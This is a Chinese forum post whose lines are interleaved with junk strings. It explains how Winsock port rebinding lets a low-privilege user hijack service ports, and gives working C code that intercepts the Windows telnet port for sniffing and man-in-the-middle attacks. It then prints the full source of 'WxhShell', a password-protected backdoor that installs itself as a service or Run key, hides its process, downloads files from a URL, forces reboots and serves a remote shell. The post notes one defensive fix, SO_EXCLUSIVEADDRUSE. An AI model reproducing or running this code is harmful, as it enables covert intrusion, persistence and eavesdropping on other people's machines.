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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uw8O"}U8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t"cGv32b  
Pe EC|&x  
  saddr.sin_family = AF_INET; =EA*h_"q9  
W`*S?QGzl@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ogtKj"a  
4@&8jZ)a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'j 'bhG  
+ng8!k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {r?O>KDQf(  
jSsbLa@  
  这意味着什么?意味着可以进行如下的攻击: G&I\Za;   
C4 H M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @{ _[bKg  
-R?~Yysd7K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +[<|TT  
"7(2m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iSCv/Gb:,  
}te\) Yk.N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Uf}s6#   
F.<sKQ&A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l{[{pAm  
R4.$9_ ui  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D1}Bn2BM$  
xc7Wk&{=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wR@&C\}9  
%5?qS`/c(  
  #include d9^ uEz(  
  #include u 0(H!  
  #include I kv@}^p 7  
  #include    Uo>pV 9xRG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   80TSE*  
  int main() v9QR,b` n  
  { pTT7#b(t  
  WORD wVersionRequested; 9+k7x,  
  DWORD ret; Km7HB!=<  
  WSADATA wsaData; 1:h{( %`&  
  BOOL val; kTZ`RW&0  
  SOCKADDR_IN saddr; ]a F,r"  
  SOCKADDR_IN scaddr; +Wrj%}+  
  int err; ,_ }  
  SOCKET s; 3)b[C&`  
  SOCKET sc; "xe %  IS  
  int caddsize; l*V]54|ON3  
  HANDLE mt; t}n:!v"|+O  
  DWORD tid;   $$ma1.t"  
  wVersionRequested = MAKEWORD( 2, 2 ); ca%s$' d  
  err = WSAStartup( wVersionRequested, &wsaData ); #usi1UWB#Q  
  if ( err != 0 ) { :y^0]In  
  printf("error!WSAStartup failed!\n"); 'id] <<F  
  return -1; p uEu v6F  
  } .-2i9Bh6  
  saddr.sin_family = AF_INET; YC+}H3 3  
   cy T,tN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Eh/B[u7T[  
`"`/_al^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xF![3~~3[  
  saddr.sin_port = htons(23); 7DQ{#Gf#G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BV_rk^}Ur  
  { ~5g2~.&*  
  printf("error!socket failed!\n"); ' P5t tI#|  
  return -1; d~ n|F|`:  
  } WsO'4~X9  
  val = TRUE; 53=5xE= `D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nQm7At  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KKB&)R  
  { jYE<d&Cq  
  printf("error!setsockopt failed!\n"); {/d<Jm:  
  return -1; tl5}#uJ  
  } Qa-]IKOs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x$ z9:'U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k@vN_Un  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oRH ]67(Z  
,rkY1w-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) - "`5r6  
  { HQqnJ;ns<  
  ret=GetLastError(); $ <'i+kK  
  printf("error!bind failed!\n"); LE$_qX`L  
  return -1; Y7{|iw(#  
  } J=v" HeVm  
  listen(s,2); Vm\ly;v'R  
  while(1) QCjC|T9  
  { b'F#Y9  
  caddsize = sizeof(scaddr); R{={7.As+  
  //接受连接请求 TrA&yXXL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [l"|x75-  
  if(sc!=INVALID_SOCKET) 2 |]pD  
  { a ^wGc+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); www#.D%'U  
  if(mt==NULL) 5A^$!q P  
  { 3jH-!M5  
  printf("Thread Creat Failed!\n"); )*6 ]m1  
  break; od\-o:bS  
  } a ;@G  
  } O.OPIQ=?:w  
  CloseHandle(mt); ]rk8Jsg  
  } N1dv}!/*.+  
  closesocket(s); B'sgCU  
  WSACleanup(); `?@7T-v  
  return 0; b/^i  
  }   @q8h'@sX  
  DWORD WINAPI ClientThread(LPVOID lpParam) _OR@S%$  
  { l@:|OGD;8  
  SOCKET ss = (SOCKET)lpParam; (|Zah1k&]  
  SOCKET sc; !Miw.UmPm  
  unsigned char buf[4096]; Qy< ~{6V  
  SOCKADDR_IN saddr; ICq  
  long num; vq(ElXTO  
  DWORD val; /XEt2,sI9  
  DWORD ret; qRk<1.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zw4z`x1f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /O@TqH  
  saddr.sin_family = AF_INET; R1A|g =kF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z''ITX)oG  
  saddr.sin_port = htons(23); $"#2hVO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E+'P|~>oX  
  { @ ={Hx$zL  
  printf("error!socket failed!\n"); i6Zsn#Z7)  
  return -1; G%Dhj)2}  
  } W.67};',  
  val = 100; {c|{okQ;Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '#Yqs/V  
  { _'OXrT#Q  
  ret = GetLastError(); p0r:U< &  
  return -1; kx3?'=0;5  
  } :U>[*zE4&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yv),>4_6  
  { M9*#8>  
  ret = GetLastError(); :9c[J$R4  
  return -1; hW~XE{<  
  } 8 16OV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w^/jlddF  
  { CN(}0/  
  printf("error!socket connect failed!\n"); [9c|!w^F  
  closesocket(sc); CRpMpPi@}  
  closesocket(ss); +c+i~5B4  
  return -1; ON()2@Y4  
  } ;&K +x@  
  while(1) vZ0K1UTEXY  
  { e"I+5r",  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m@A?'gD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8l<4OgoK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4nvi7  
  num = recv(ss,buf,4096,0); %]U'   
  if(num>0)  MjjN  
  send(sc,buf,num,0); /);S?7u.  
  else if(num==0) +Y|1 7 n  
  break; KO!.VxG]_  
  num = recv(sc,buf,4096,0); qL;T^ljP  
  if(num>0) ?q lpi(  
  send(ss,buf,num,0); B)!ty"  
  else if(num==0) qG&}lg?g{  
  break; kuX{2h*`  
  } q2SlK8`QJ  
  closesocket(ss); bxXNv^  
  closesocket(sc); 45 \W%8  
  return 0 ; *PF}L%K(?  
  } v-utDQT3  
D# Gf.c  
iCZuE:I1K,  
========================================================== PKxI09B  
YU]|N 'mL2  
下边附上一个代码,,WXhSHELL zxD~W"R:s  
~R+,4  
========================================================== Dwx^hNh  
9$~a&lXO5  
#include "stdafx.h" C2a2K={  
Fk4T>8q2;  
#include <stdio.h> To!` T$Xh  
#include <string.h> g##yR/L  
#include <windows.h> 1 x'H #  
#include <winsock2.h> (p?7-~6|:  
#include <winsvc.h> 1*VArr6*6  
#include <urlmon.h> 2d60o~ E  
mD"[z}r)  
#pragma comment (lib, "Ws2_32.lib") gXb * zt2  
#pragma comment (lib, "urlmon.lib") n)bbEXO  
pPD}>q  
#define MAX_USER   100 // 最大客户端连接数 xj#anr  
#define BUF_SOCK   200 // sock buffer <Na .6P  
#define KEY_BUFF   255 // 输入 buffer z&Kh$ $)[  
C" 2K U*  
#define REBOOT     0   // 重启 g^mnYg5  
#define SHUTDOWN   1   // 关机 <0h,{28  
{^ jRV@  
#define DEF_PORT   5000 // 监听端口 FpYeuH%  
4^IqHx;bj  
#define REG_LEN     16   // 注册表键长度 J=`2{ 'l  
#define SVC_LEN     80   // NT服务名长度 H'_v  
nQm (UN  
// 从dll定义API %s;=H)8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wV{jJyRl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;i>(r;ZM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :G8:b.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]IM/R@  
E=&":I6O  
// wxhshell配置信息 ={k_ (8]  
struct WSCFG { ,bRYqU?#0  
  int ws_port;         // 监听端口 G)8H9EV  
  char ws_passstr[REG_LEN]; // 口令 ;4s7\9o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ny'wS  
  char ws_regname[REG_LEN]; // 注册表键名 ZQ)vvD<  
  char ws_svcname[REG_LEN]; // 服务名 _7bQR7s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C9VtRq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AcQmY?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IW$qP&a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )/FEjo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WMXxP gik  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h~r&7G@[}  
}9*NEU) o  
}; (/^dyG|X'  
3;<Vv*a"Dm  
// default Wxhshell configuration &0k`=?v$  
struct WSCFG wscfg={DEF_PORT, d cG)ql4d  
    "xuhuanlingzhe", 87p tab@  
    1, )TtYm3,  
    "Wxhshell", FE4P EBXvu  
    "Wxhshell", g}gOAN3.  
            "WxhShell Service", ? \p,s-CR:  
    "Wrsky Windows CmdShell Service", 6BY(Y(z  
    "Please Input Your Password: ", #J`M R05  
  1, 9lR-  
  "http://www.wrsky.com/wxhshell.exe", VC.zmCglo^  
  "Wxhshell.exe" XbYST%| .  
    }; Q*W$!ZUT  
mFx \[S  
// 消息定义模块 s)-O{5;U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pkEx.R)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y$<p_X,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QnH;+k ln  
char *msg_ws_ext="\n\rExit."; 0wpGIT!2  
char *msg_ws_end="\n\rQuit."; o56UlN  
char *msg_ws_boot="\n\rReboot..."; iu.$P-s  
char *msg_ws_poff="\n\rShutdown..."; Zk<Y+!  
char *msg_ws_down="\n\rSave to "; 8k9q@FSln  
0 ~^l*  
char *msg_ws_err="\n\rErr!";  <6STw  
char *msg_ws_ok="\n\rOK!"; 4sM9~zC5  
pdq5EUdS  
char ExeFile[MAX_PATH]; SpA-E/el  
int nUser = 0; |rL#HG  
HANDLE handles[MAX_USER]; O3En+m~3n)  
int OsIsNt; t+t D  
w%uM=YmuT  
SERVICE_STATUS       serviceStatus; m2>$)\-;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )>r sX)  
du>d?  
// 函数声明 2"pFAQBw~i  
int Install(void); 1`F25DhhY  
int Uninstall(void); #VU>Z|$@N  
int DownloadFile(char *sURL, SOCKET wsh); 3,dIW*<**  
int Boot(int flag); 8\BYm|%aa  
void HideProc(void); _BPp=(|  
int GetOsVer(void); ,wB)hp  
int Wxhshell(SOCKET wsl); a?]~Sw"@  
void TalkWithClient(void *cs); [+(fN  
int CmdShell(SOCKET sock); !JnxNIr&i|  
int StartFromService(void); ewOe A|  
int StartWxhshell(LPSTR lpCmdLine); \o<&s{ 6L  
#%{x*y:Ms  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 01">$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R&@NFin  
8!|LJI  
// 数据结构和表定义 !D~\uW1b  
SERVICE_TABLE_ENTRY DispatchTable[] = z *~rd2  
{  +OeoA{-W  
{wscfg.ws_svcname, NTServiceMain}, <Url&Z  
{NULL, NULL} 7$A=|/'nSA  
}; uXm}THI  
q!whWA  
// 自我安装 3dB{DuQ  
int Install(void) 5.U4P<qS  
{ Mp_SL^g|  
  char svExeFile[MAX_PATH]; U*cWNn:."  
  HKEY key; kPezR: 31  
  strcpy(svExeFile,ExeFile); J"?jaa2~  
7z9[\]tt  
// 如果是win9x系统,修改注册表设为自启动 V\P .uOI  
if(!OsIsNt) { ; -,VJCPi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }c ,:uN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3bZ:*6W.6  
  RegCloseKey(key); :IRQouTf:,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TLT6z[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~4=XYYcka  
  RegCloseKey(key); ZL+46fj  
  return 0;  G4{TJ,~  
    } sHm :G_  
  } CW'<Nh  
} 4R28S]Gb  
else { JK^pb0ih  
JTdcL mL  
// 如果是NT以上系统,安装为系统服务 XT{o ]S~nq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wd<jh,Y  
if (schSCManager!=0) KD73Aw  
{ ^^kL.C Ym  
  SC_HANDLE schService = CreateService Dy^A??A[E}  
  ( .v[!_bk8C  
  schSCManager, (Z#j^}G_l  
  wscfg.ws_svcname, ~09kIO)  
  wscfg.ws_svcdisp, Hr!%L*h?  
  SERVICE_ALL_ACCESS, 5Tiap8x+<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TykY>cl   
  SERVICE_AUTO_START, KYC<*1k  
  SERVICE_ERROR_NORMAL, U{PFeR,Uk  
  svExeFile, 9ve)+Lk  
  NULL, R/ 3#(5  
  NULL, `V=F>s$W  
  NULL, Oi$$vjs2  
  NULL, R0bWI`$Z  
  NULL ^9`~-w  
  ); -MuKeCgi  
  if (schService!=0) ~5 e 1&  
  { q|S,^0cU  
  CloseServiceHandle(schService); .( X!*J]G  
  CloseServiceHandle(schSCManager); 2PQY+[jx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =e|  
  strcat(svExeFile,wscfg.ws_svcname); E#/vgm=W;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tN-B`d 1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0uhIJc'2  
  RegCloseKey(key); O+PRP"$g"  
  return 0; ?RU_SCp-  
    } ,Laz515  
  } g{^(EZ,  
  CloseServiceHandle(schSCManager); 4S*7*ak{  
} <c]?  
} 7YQ689"J6B  
8rM1kOCf  
return 1; @h)X3X  
} b*dEX%H8sf  
Lo uYY: Q  
// 自我卸载 DP=\FG"}x  
int Uninstall(void) &C.m*^`^  
{ ?oulQR6:  
  HKEY key; 0&2eiMKG?n  
PLs(+>H  
if(!OsIsNt) { Ujfs!ikh&F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vlx\hJ<I  
  RegDeleteValue(key,wscfg.ws_regname); d1hXzJs  
  RegCloseKey(key); #b+>O+vx8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &d i=alvv1  
  RegDeleteValue(key,wscfg.ws_regname); g0 Jy:`M  
  RegCloseKey(key); z:p9&mi  
  return 0; U?(+ {4l  
  } Rv@( [rn+  
} A =l1_8,`h  
} SS"Z>talw  
else { h f9yK6  
(qg~l@rf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :B1a2Y^"  
if (schSCManager!=0) 7oFA5T _  
{ &~sk7iGi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -r@/8"  
  if (schService!=0) ;BjJ<?^{  
  { Ops""#Zi  
  if(DeleteService(schService)!=0) { @W\ H%VR  
  CloseServiceHandle(schService); &T[BS;  
  CloseServiceHandle(schSCManager); n%I9l]  
  return 0; ~Pi CA  
  } ?PDrj/: *  
  CloseServiceHandle(schService); &ZAc3@l[c  
  } -`d(>ok  
  CloseServiceHandle(schSCManager); zR_yxs'  
} \aB"D=P\ok  
} <n)R?P(or  
]]lM)  
return 1; SCKpW#2dP{  
} hsHtLH+@  
NK|m7 (  
// 从指定url下载文件 *tL1t\jY  
int DownloadFile(char *sURL, SOCKET wsh) +<W8kb  
{ ]_&pIBp  
  HRESULT hr; tqT-9sEXX.  
char seps[]= "/"; bZi;jl  
char *token; >TddKR @C  
char *file; Fa A7m  
char myURL[MAX_PATH]; GN ?1dwI  
char myFILE[MAX_PATH]; qwDoYy yu  
62{[)jt{  
strcpy(myURL,sURL); .}DL%E`n  
  token=strtok(myURL,seps); <]kifiN#  
  while(token!=NULL) fqS cf}s  
  { 2mVLR;s{_  
    file=token; ~ZXAW~a}  
  token=strtok(NULL,seps); C! J6"j  
  } ~n`G>Oe3  
W.VyH|?  
GetCurrentDirectory(MAX_PATH,myFILE); 2Ik@L,  
strcat(myFILE, "\\"); X^ZUm  
strcat(myFILE, file); i"U<=~  
  send(wsh,myFILE,strlen(myFILE),0); XIJ{qrDr  
send(wsh,"...",3,0); P'q . _U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8@'Q=".J  
  if(hr==S_OK) *'h vYl/?>  
return 0; nO7#m~  
else G?QU|<mj<  
return 1; VKXZA2<?'  
DsH`I %w{  
} fE&wtw{gi  
8GFA}_(^R  
// 系统电源模块 ZeY kZzN  
int Boot(int flag) sKuPV  
{ 7{:g|dX  
  HANDLE hToken; 5N4[hQrVJ  
  TOKEN_PRIVILEGES tkp; B^sHFc""V  
Zfn390_  
  if(OsIsNt) { (VA:`pstP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =| M[JPr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 20p/p~<  
    tkp.PrivilegeCount = 1; gw`}eA$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Lwd1'C%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3O!TVSo  
if(flag==REBOOT) { g&6O*vx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4Iou| H  
  return 0; WmT(>JBO  
} Z,bvD'u  
else { \qh -fW; #  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .4-I^W"1  
  return 0; POCFT0R}  
} zO07X*Bw  
  } (6S f#M  
  else { Uv"GG: K_  
if(flag==REBOOT) { 3U73_=>=&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W!G2$e6  
  return 0; pr(16P  
} CF k^(V"  
else { \XXS;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fl^}tC  
  return 0; Y8yRQ zu  
} !.ot&EbE  
} 3e.v'ccK&  
Kzd`|+?'`M  
return 1; h7H#sL[^  
} 'of5v6:8  
v|v^(P,o  
// win9x进程隐藏模块 JV#)?/a$z  
void HideProc(void) H21\6 GY  
{ 4f?Y'+>Z,  
zu Jl #3YP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `+(|$?Cu  
  if ( hKernel != NULL ) GL_a`.=@  
  { .h8%zB#|i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uoe5@j2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jy X7I,0  
    FreeLibrary(hKernel); >r"~t70C~]  
  }  } Rc8\,  
vQ}'4i8(  
return; fYzOT, c  
} yEfV8aY'*  
|,ZmRW^2K  
// 获取操作系统版本 {m/\AG)1I  
int GetOsVer(void) hL,+wJ+A  
{ _ .%\czO  
  OSVERSIONINFO winfo; M7(vI4V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Up@+R2  
  GetVersionEx(&winfo); G/Xa`4"_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ l +RX*  
  return 1; Pe !eID8  
  else i7[CqObzc  
  return 0; Q\~4J1  
} [k9aY$baT^  
e,}]K'!t  
// 客户端句柄模块 .FnO  
int Wxhshell(SOCKET wsl) 1;l&ck-Gg/  
{ ZL`G<Mo;.  
  SOCKET wsh; {da Nw>TH  
  struct sockaddr_in client; o 2 5kFD  
  DWORD myID; x hFQjV?V  
*My?l75  
  while(nUser<MAX_USER) 3d.JV'C'c  
{ @awaN  
  int nSize=sizeof(client); cf|<~7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'wAO Y  
  if(wsh==INVALID_SOCKET) return 1; =$g8"[4   
K'%,dn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rSD!u0c [  
if(handles[nUser]==0) |Mp_qg?g  
  closesocket(wsh); j:0VtJo~  
else 9Osjh G  
  nUser++; %TUljX K}  
  } ! G%LYHx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Us5Oi  
k})Ag7c  
  return 0; 9BGPq)#  
} Jr18faEZw  
.e2u)YqA  
// 关闭 socket ?r QMOJR  
void CloseIt(SOCKET wsh) ,sk;|OAI  
{ '?5=j1  
closesocket(wsh); I'o9.B8%#  
nUser--; X9nt;A2TU+  
ExitThread(0); <GShm~XD2  
} j8@YoD5o  
:YB:)wV,P  
// 客户端请求句柄 ML0o :8Bd\  
void TalkWithClient(void *cs) e:V(kzAY;  
{ ^\cB&<h  
r+;C}[E  
  SOCKET wsh=(SOCKET)cs; f{lg{gA(  
  char pwd[SVC_LEN]; LS?hb)7  
  char cmd[KEY_BUFF]; `"M=ZVk  
char chr[1]; A==P?,RG  
int i,j; >#R<*?*D}  
0K, *FdA  
  while (nUser < MAX_USER) { 0z."6 r  
J W&/l  
if(wscfg.ws_passstr) { >.PLD} zE_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q/iaxY#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zb7KHKO{  
  //ZeroMemory(pwd,KEY_BUFF); KMznl=LF  
      i=0; (@O F Wc"p  
  while(i<SVC_LEN) { Y.@ vdW  
7I`e5\ u  
  // 设置超时 q+t*3;X.  
  fd_set FdRead; fk P@e3  
  struct timeval TimeOut; `6!l!8 v  
  FD_ZERO(&FdRead); ReP7c3D>p  
  FD_SET(wsh,&FdRead); 6@!<' l%z  
  TimeOut.tv_sec=8; 3bpbk  
  TimeOut.tv_usec=0; )KR9alf3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !5 %c`4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _p7c<$ ;  
kAf:_0?6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PP&AF?C  
  pwd=chr[0]; GFx >xQk  
  if(chr[0]==0xd || chr[0]==0xa) { v4(!~S  
  pwd=0; ~LHG  
  break; Qm,|'y:Tg  
  } Rs8`M8(4%  
  i++; D(}v`q{Y  
    } vN 7a)s  
aD3'gc,l  
  // 如果是非法用户,关闭 socket S8<O$^L^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R{@WlkG}  
} hti)<#f  
6{}]QvR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I2%{6g@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LKxyj@Eq  
zF(I#|Vo  
while(1) { F)lDK.  
rjQV;kX>  
  ZeroMemory(cmd,KEY_BUFF); &~G>pvZ  
\x)T_]Gcm  
      // 自动支持客户端 telnet标准   zXvAW7  
  j=0; {DBgW},  
  while(j<KEY_BUFF) { . 5|wy<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@R7b(:*  
  cmd[j]=chr[0];  HlPf   
  if(chr[0]==0xa || chr[0]==0xd) { N(]6pG=  
  cmd[j]=0; 'wLQ9o%=p|  
  break; d~O\zLQ;  
  } g-meJhX%  
  j++; Am!$\T%2  
    } &BCl>^wn}  
c&AA< 6pkv  
  // 下载文件 o{?s\)aBa  
  if(strstr(cmd,"http://")) { ~DhYiOSo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uOs 8|pj,  
  if(DownloadFile(cmd,wsh)) %Ox*?l _  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A2#V(4  
  else 5X nA.?F^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {G/4#r 2>  
  } ?H0 #{!s  
  else { ]gHw;ry  
%-i2MK'A  
    switch(cmd[0]) { QgC  
  jw5Bbyk  
  // 帮助 W<xu*U(A  
  case '?': { )O"5dF1l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^4O1:_|G  
    break; 4At%{E  
  } STL_#|[RM  
  // 安装 8{@|M l  
  case 'i': { @ bPQhn#(g  
    if(Install()) K]oFV   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4Ry)O[.  
    else gE0k|Z(RF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dMQtW3stY  
    break; uYhm Fp  
    } {XC# -3O  
  // 卸载 SQ]&nDd  
  case 'r': { vR3'B3y  
    if(Uninstall()) votv rZ=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -k|r#^(G2  
    else \e T0d<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1xar L))  
    break; ~M3`mO+^U  
    } =m:xf&r#  
  // 显示 wxhshell 所在路径 <6)Ogv",  
  case 'p': { kTT!gZP$  
    char svExeFile[MAX_PATH]; _)yn6M'Dt  
    strcpy(svExeFile,"\n\r");  T+9#P4  
      strcat(svExeFile,ExeFile); 6FiI\  
        send(wsh,svExeFile,strlen(svExeFile),0); ?V4?r2$c  
    break; c]v $C&FX  
    } )AEJ` xC  
  // 重启  btJ:Wt}  
  case 'b': { #;)Oi9{9;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %(MaH  
    if(Boot(REBOOT)) ) kfA5xi[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WolkW:(Cg  
    else { NGOc:>}k>  
    closesocket(wsh); X9K@mX  
    ExitThread(0); szu!*wc9  
    } s3>,%8O6  
    break; U$&G_&*0a  
    } (/Lo44wT  
